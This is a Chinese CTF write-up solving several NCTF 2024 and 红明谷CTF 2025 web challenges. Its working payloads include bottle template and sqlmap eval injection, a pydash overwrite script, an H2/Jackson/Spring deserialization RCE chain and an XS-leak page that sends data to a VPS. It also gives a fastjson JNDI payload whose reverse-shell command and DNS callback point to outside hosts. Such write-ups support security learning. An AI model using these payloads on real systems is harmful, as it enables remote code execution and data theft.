NCTF 2024

WEB AK 5

ez_dash

过滤不全,可以通过<%%>执行python代码,但没有回显,用继承链获取bottle报错回显。

https://www.osgeo.cn/bottle/stpl.html#embedded-python-code 3

使用getattr绕过.bottle.abort(401, "message")函数可以直接报错返回内容。

<%eval(getattr(getattr(__import__('base64'), 'b64decode')('X19pbXBvcnRfXygnc3lzJykubW9kdWxlc1snX19tYWluX18nXS5ib3R0bGUuYWJvcnQoNDAxLCBfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCdlbnYnKS5yZWFkKCkp'), 'decode')())%>

sqlmap-master

参数注入,sqlmap -hh查看详细信息:

--eval=EVALCODE     Evaluate provided Python code before the request (e.g.
                    "import hashlib;id2=hashlib.md5(id).hexdigest()")

sqlmap的eval可以执行python代码:

sqlmap -u http://localhost --eval="print(1)"

通过__import__报错回显,注意payload不能包含空格,不然会被分割。

poc:

http://localhost --eval=__import__(__import__('os').popen(__import__('base64').b64decode('ZW52IHwgYmFzZTY0IHwgdHIgLWQgJ1xuJw==').decode()).read())

ez_dash_revenge

远程环境pydash版本比较高,不允许覆盖__globals____builtin__

黑名单检测代码pydash/helpers.py4

RESTRICTED_KEYS内容为:

RESTRICTED_KEYS = ("__globals__", "__builtins__")

覆盖黑名单POC:

/setValue?name=pydash

{"path":"helpers.RESTRICTED_KEYS","value":[]}

然后再通过__globals__覆盖题目自定义的黑名单,POC:

/setValue?name=setval

{"path":"__globals__.__forbidden_name__","value":[]}
{"path":"__globals__.__forbidden_path__","value":[]}

bottle模板引擎使用正则匹配模板字符串,set_syntax代码如下:

def set_syntax(self, syntax):
    self._syntax = syntax
    self._tokens = syntax.split()
    if syntax not in self._re_cache:
        names = 'block_start block_close line_start inline_start inline_end'
        etokens = map(re.escape, self._tokens)
        pattern_vars = dict(zip(names.split(), etokens))
        patterns = (self._re_split, self._re_tok, self._re_inl)
        patterns = [re.compile(p % pattern_vars) for p in patterns]
        self._re_cache[syntax] = patterns
    self.re_split, self.re_tok, self.re_inl = self._re_cache[syntax]

默认的syntax为<% %> % {{ }},其以空格分割分别对应block_start block_close line_start inline_start inline_end,然后被format进self.re_split, self.re_tok, self.re_inl这三个正则表达式里,render模板时用正则匹配内容,<%%>内部的和%后面的内容作为python代码执行,但没回显,{{}}内部的作为表达式求值,有回显。题目过滤了%<等字符,所以修改模板正则表达式就可以绕过了。

bottle默认模板使用的是SimpleTemplate继承了BaseTemplate,在prepare方法给self.syntax赋值了。

class SimpleTemplate(BaseTemplate):
    def prepare(self,
                escape_func=html_escape,
                noescape=False,
                syntax=None, **ka):
        self.cache = {}
        enc = self.encoding
        self._str = lambda x: touni(x, enc)
        self._escape = lambda x: escape_func(touni(x, enc))
        self.syntax = syntax
        if noescape:
            self._str, self._escape = self._escape, self._str

BaseTemplate类的__init__函数代码如下:把self.settings传给prepare.

self.name = name
self.source = source.read() if hasattr(source, 'read') else source
self.filename = source.filename if hasattr(source, 'filename') else None
self.lookup = [os.path.abspath(x) for x in lookup] if lookup else []
self.encoding = encoding
self.settings = self.settings.copy()  # Copy from class variable
self.settings.update(settings)  # Apply
if not self.source and self.name:
    self.filename = self.search(self.name, self.lookup)
    if not self.filename:
        raise TemplateError('Template %s not found.' % repr(name))
if not self.source and not self.filename:
    raise TemplateError('No template specified.')
self.prepare(**self.settings)

所以覆盖模板syntax POC如下:

/setValue?name=bottle

{"path":"BaseTemplate.settings.syntax","value":"` ` % | |"}

||包裹即可执行代码并回显。

具体的模板执行代码如下:

def execute(self, _stdout, kwargs):
    env = self.defaults.copy()
    env.update(kwargs)
    env.update({
        '_stdout': _stdout,
        '_printlist': _stdout.extend,
        'include': functools.partial(self._include, env),
        'rebase': functools.partial(self._rebase, env),
        '_rebase': None,
        '_str': self._str,
        '_escape': self._escape,
        'get': env.get,
        'setdefault': env.setdefault,
        'defined': env.__contains__
    })
    exec(self.co, env)
    if env.get('_rebase'):
        subtpl, rargs = env.pop('_rebase')
        rargs['base'] = ''.join(_stdout)  #copy stdout
        del _stdout[:]  # clear stdout
        return self._include(env, subtpl, **rargs)
    return env

使用了exec函数,可以拿到__builtins__,所以可以将代码注入__builtins__中,因为setValue中对于value字段不限制长度,POC如下:

/setValue?name=setval

{"path":"__builtins__.p","value":"print(1)"}

注意以下代码:

def template(*args, **kwargs):
..............
    if tplid not in TEMPLATES or DEBUG:
        settings = kwargs.pop('template_settings', {})
        if isinstance(tpl, adapter):
            TEMPLATES[tplid] = tpl
            if settings: TEMPLATES[tplid].prepare(**settings)
        elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
            TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
        else:
            TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
    if not TEMPLATES[tplid]:
        abort(500, 'Template (%s) not found' % tpl)
    return TEMPLATES[tplid].render(kwargs)

模板内容需要包含\n,{%$,不然不会进行render。

POC如下:

/render?path=%0a|eval(p)|

exp:

import requests

url = 'http://ip:port'

def init():
    # bypass pydash
    res = requests.post(url=url + '/setValue?name=pydash', json={"path":"helpers.RESTRICTED_KEYS","value":[]})
    if 'yes' in res.text:
        print('[+] bypass pydash success')
    else:
        print('[-] bypass pydash failed')
        exit()

    # bypass path
    res = requests.post(url=url + '/setValue?name=setval', json={"path":"__globals__.__forbidden_path__","value":[]})
    if 'yes' in res.text:
        print('[+] bypass path success')
    else:
        print('[-] bypass path failed')
        exit()

    # bypass name
    res = requests.post(url=url + '/setValue?name=setval', json={"path":"__globals__.__forbidden_name__","value":[]})
    if 'yes' in res.text:
        print('[+] bypass name success')
    else:
        print('[-] bypass name failed')
        exit()

    # update syntax
    res = requests.post(url=url + '/setValue?name=bottle', json={"path":"BaseTemplate.settings.syntax","value":"` ` % | |"})
    if 'yes' in res.text:
        print('[+] bypass syntax success')
    else:
        print('[-] bypass syntax failed')
        exit()

def set_payload(payload):
    # set payload in builtin
    res = requests.post(url=url + '/setValue?name=setval', json={"path":"__builtins__.p","value":payload})
    if 'yes' in res.text:
        print('[+] set payload success')
    else:
        print('[-] set payload failed')
        exit()

def render():
    # render
    res = requests.get(url=url + '/render?path=%0a|eval(p)|')
    print(res.text)

if __name__ == '__main__':
    init()

    payload = "__import__('os').popen('env').read()"
    set_payload(payload)

    render()

H2 Revenge

MyDataSource类可以触发jdbc连接,getter触发。

用jackson getter链子。堆栈如下:

challenge.MyDataSource#getConnection
jdk.internal.reflect.GeneratedMethodAccessor12#invoke
jdk.internal.reflect.DelegatingMethodAccessorImpl#invoke
java.lang.reflect.Method#invoke
org.springframework.aop.support.AopUtils#invokeJoinpointUsingReflection
org.springframework.aop.framework.JdkDynamicAopProxy#invoke
jdk.proxy2.$Proxy61#getConnection
jdk.internal.reflect.GeneratedMethodAccessor11#invoke
jdk.internal.reflect.DelegatingMethodAccessorImpl#invoke
java.lang.reflect.Method#invoke
com.fasterxml.jackson.databind.ser.BeanPropertyWriter#serializeAsField
com.fasterxml.jackson.databind.ser.std.BeanSerializerBase#serializeFields
com.fasterxml.jackson.databind.ser.BeanSerializer#serialize
com.fasterxml.jackson.databind.SerializerProvider#defaultSerializeValue
com.fasterxml.jackson.databind.node.POJONode#serialize
com.fasterxml.jackson.databind.node.InternalNodeMapper$WrapperForSerializer#_serializeNonRecursive
com.fasterxml.jackson.databind.node.InternalNodeMapper$WrapperForSerializer#serialize
com.fasterxml.jackson.databind.ser.std.SerializableSerializer#serialize
com.fasterxml.jackson.databind.ser.std.SerializableSerializer#serialize
com.fasterxml.jackson.databind.ser.DefaultSerializerProvider#_serialize
com.fasterxml.jackson.databind.ser.DefaultSerializerProvider#serializeValue
com.fasterxml.jackson.databind.ObjectWriter$Prefetch#serialize
com.fasterxml.jackson.databind.ObjectWriter#_writeValueAndClose
com.fasterxml.jackson.databind.ObjectWriter#writeValueAsString
com.fasterxml.jackson.databind.node.InternalNodeMapper#nodeToString
com.fasterxml.jackson.databind.node.BaseJsonNode#toString
com.sun.org.apache.xpath.internal.objects.XString#equals
org.springframework.aop.target.HotSwappableTargetSource#equals
java.util.HashMap#putVal
java.util.HashMap#readObject
jdk.internal.reflect.GeneratedMethodAccessor6#invoke
jdk.internal.reflect.DelegatingMethodAccessorImpl#invoke
java.lang.reflect.Method#invoke
java.io.ObjectStreamClass#invokeReadObject
java.io.ObjectInputStream#readSerialData
java.io.ObjectInputStream#readOrdinaryObject
java.io.ObjectInputStream#readObject0
java.io.ObjectInputStream#readObject
java.io.ObjectInputStream#readObject
challenge.IndexController#deserialize

有h2 driver。但环境为eclipse-temurin:17-jre镜像,JAVA_HOME下没有javac,所以无法编译自定义方法。可能是因为jdk版本高,TRIGGER获取js引擎是获取不到。同时有没有Grooxy依赖,所以传统利用方法都失效了。

查看文档发现可以调用任意public static方法。

https://www.h2database.com/html/features.html 1

由于jdk moduel限制,Hessian反序列化打的那些gadget不能用。

找到org.h2.util.Utils#newInstance方法可以触发构造方法:

public static Object newInstance(String var0, Object... var1) throws Exception {
    Constructor var2 = null;
    int var3 = 0;
    Constructor[] var4 = Class.forName(var0).getConstructors();
    int var5 = var4.length;

    for(int var6 = 0; var6 < var5; ++var6) {
        Constructor var7 = var4[var6];
        int var8 = match(var7.getParameterTypes(), var1);
        if (var8 > var3) {
            var3 = var8;
            var2 = var7;
        }
    }

    if (var2 == null) {
        throw new NoSuchMethodException(var0);
    } else {
        return var2.newInstance(var1);
    }
}

org.springframework.context.support.ClassPathXmlApplicationContext类的构造方法可以RCE,参数为java.lang.String

POC:

public class Exp {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();

        String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS expNewInstance FOR 'org.h2.util.Utils.newInstance'\\;CALL expNewInstance('org.springframework.context.support.ClassPathXmlApplicationContext','http://ip:port/exp.xml')\\;";

        MyDataSource myDataSource = new MyDataSource(url, "username","password");

        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(myDataSource);   // exp类
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler);

        POJONode poJoNode = new POJONode(proxy);

        XString x = new XString("123");
        HashMap map = makeMap(x, poJoNode);

        ser(map);
    }

    public static HashMap<Object, Object> makeMap (Object obj1, Object obj2) throws Exception {
        HotSwappableTargetSource v1 = new HotSwappableTargetSource(obj2);
        HotSwappableTargetSource v2 = new HotSwappableTargetSource(obj1);

        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);

        return s;
    }
}

但执行会报错:

org.h2.jdbc.JdbcSQLDataException: Data conversion error converting "CHARACTER VARYING to JAVA_OBJECT"; SQL statement:

newInstance方法签名中的参数为String var0, Object... var1,h2数据库无法直接将字符串http://ip:port/exp.xml转换成Object

然后又找到一个反序列化接口,可以先将字符串http://ip:port/exp.xml序列化,然后在h2 sql中执行反序列化并保存为变量,然后传参给newInstance即可。

org.h2.util.JdbcUtils#deserialize方法可以触发原生反序列化,返回值为Object。

public static Object deserialize(byte[] var0, JavaObjectSerializer var1) {
    try {
        if (var1 != null) {
            return var1.deserialize(var0);
        } else if (serializer != null) {
            return serializer.deserialize(var0);
        } else {
            ByteArrayInputStream var2 = new ByteArrayInputStream(var0);
            ObjectInputStream var3;
            if (SysProperties.USE_THREAD_CONTEXT_CLASS_LOADER) {
                final ClassLoader var4 = Thread.currentThread().getContextClassLoader();
                var3 = new ObjectInputStream(var2) {
                    protected Class<?> resolveClass(ObjectStreamClass var1) throws IOException, ClassNotFoundException {
                        try {
                            return Class.forName(var1.getName(), true, var4);
                        } catch (ClassNotFoundException var3) {
                            return super.resolveClass(var1);
                        }
                    }
                };
            } else {
                var3 = new ObjectInputStream(var2);
            }

            return var3.readObject();
        }
    } catch (Throwable var5) {
        throw DbException.get(90027, var5, new String[]{var5.toString()});
    }
}

var1NULL即可,var0需要为字节数组,h2 sql字节数组的表示方法:

https://www.h2database.com/html/grammar.html#bytes 2

POC:

// String path = "http://ip:port/exp.xml";
// ser(path);

String path = "aced....";        // path 序列化数据的hex
String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS deserialize FOR 'org.h2.util.JdbcUtils.deserialize'\\;CREATE ALIAS expNewInstance FOR 'org.h2.util.Utils.newInstance'\\;SET @path = (SELECT deserialize(X'" + path + "',NULL))\\;CALL expNewInstance('org.springframework.context.support.ClassPathXmlApplicationContext',@path)\\;";

部署exp.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="
    http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg >
        <list>
            <value>bash</value>
            <value>-c</value>
            <value>whoami</value>
        </list>
        </constructor-arg>
    </bean>
</beans>

internal_api

xs-leak,无cookie限制,无csrf_token限制,单纯的网路限制,直接script加载通过onloadonerror判断。

POC:

<script src=http://192.168.72.132:8000/search?s=a onerror=top.sign=false onload=top.sign=true></script>

当搜索结果为空时报500错误,触发onerror,有数据时状态码为200,触发onload。

script标签只会在html docuemnt加载时执行,如果之后通过js写入新的script不会被执行。通过iframe嵌入子页面,在子页面里重新加载DOM树可以再次执行script标签。将script写入iframe srcdoc属性里即可:

vpsip换成自己的服务器。部署以下html文件,让bot访问即可。

POC:

<!DOCTYPE html>
<html>
    <head></head>
    <body>
        <script>
            let sign = undefined;
            const host = "http://127.0.0.1:8000/internal/search?s=";
            const CHA = "0123456789abcdef-}";
            const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));

            const sendback = async (data) => {
                var xhr = await new XMLHttpRequest();
                await xhr.open('GET', 'http://<vpsip>:port/?flag=' + encodeURI(data), true);
                await xhr.send();
            }

            const send = async (payload) => {
                top.sign = undefined;
                top.document.getElementById('workspace').innerHTML = '<iframe srcdoc="<script src=' + host + encodeURI(payload) + atob('IG9uZXJyb3I9dG9wLnNpZ249ZmFsc2Ugb25sb2FkPXRvcC5zaWduPXRydWU+PC9zY3JpcHQ+Ij48L2lmcmFtZT4=');
                while (top.sign === undefined){
                    await sleep(50);
                }
                return top.sign;
            }

            const main = async () => {
                await sleep(500);

                var flag = "nctf{";

                while (!flag.endsWith("}")){
                    for(var i = 0;i < CHA.length;i++){
                        var payload = flag + CHA.charAt(i);
                        const s = await send(payload);
                        if (s) {
                            flag = await flag + CHA.charAt(i);
                            await sendback(flag);
                        }
                    }
                }
            }
            main();
        </script>
        <div id="workspace"></div>
    </body>
</html>

红明谷CTF 2025

日记本

扫目录得到/actuator/swagger-ui.html/actuator/heapdump

注册接口已弃用,将v1改为v2即可,注意v2参数需要用get传输: 6

/api/auth/update可以修改为admin权限,key可以从/actuator/heapdump读取。修改之后需要重新登录才能获得admin权限。

7

/api/admin/hint可以下载源码。

存在fastjson反序列化,有CC3.2.1依赖,但jdk版本为8u342,无法直接jndi加载恶意类,尝试LDAP反序列化绕过打CC链。

触发jndi,用JNDIMap打CC1反序列化,反弹shell即可:

{
    "a":{
        "@type" : "Lcom.sun.rowset.JdbcRowSetImpl;",
        "dataSourceName" : "ldap://119.45.252.144:1389/Deserialize/CommonsCollectionsK1/Command/YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzh4TVRrdU5EVXVNalV5TGpFME5DODRNREF4SURBK0pqRT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfQ==",
        "autoCommit" : true
    },
    "b":{
        "username":{
            "@type":"java.net.InetAddress",
            "val":"pppppasdasd.c37af96d-ec4e-43e4-8bd3-3c347d9eb7b8.dnshook.site"
        }, 
        "password":"admin"
    }
}
java -jar JNDIMap-0.0.1.jar -i 119.45.252.144

根据admin控制器里的提示,flag在/app/F1A9.txt中。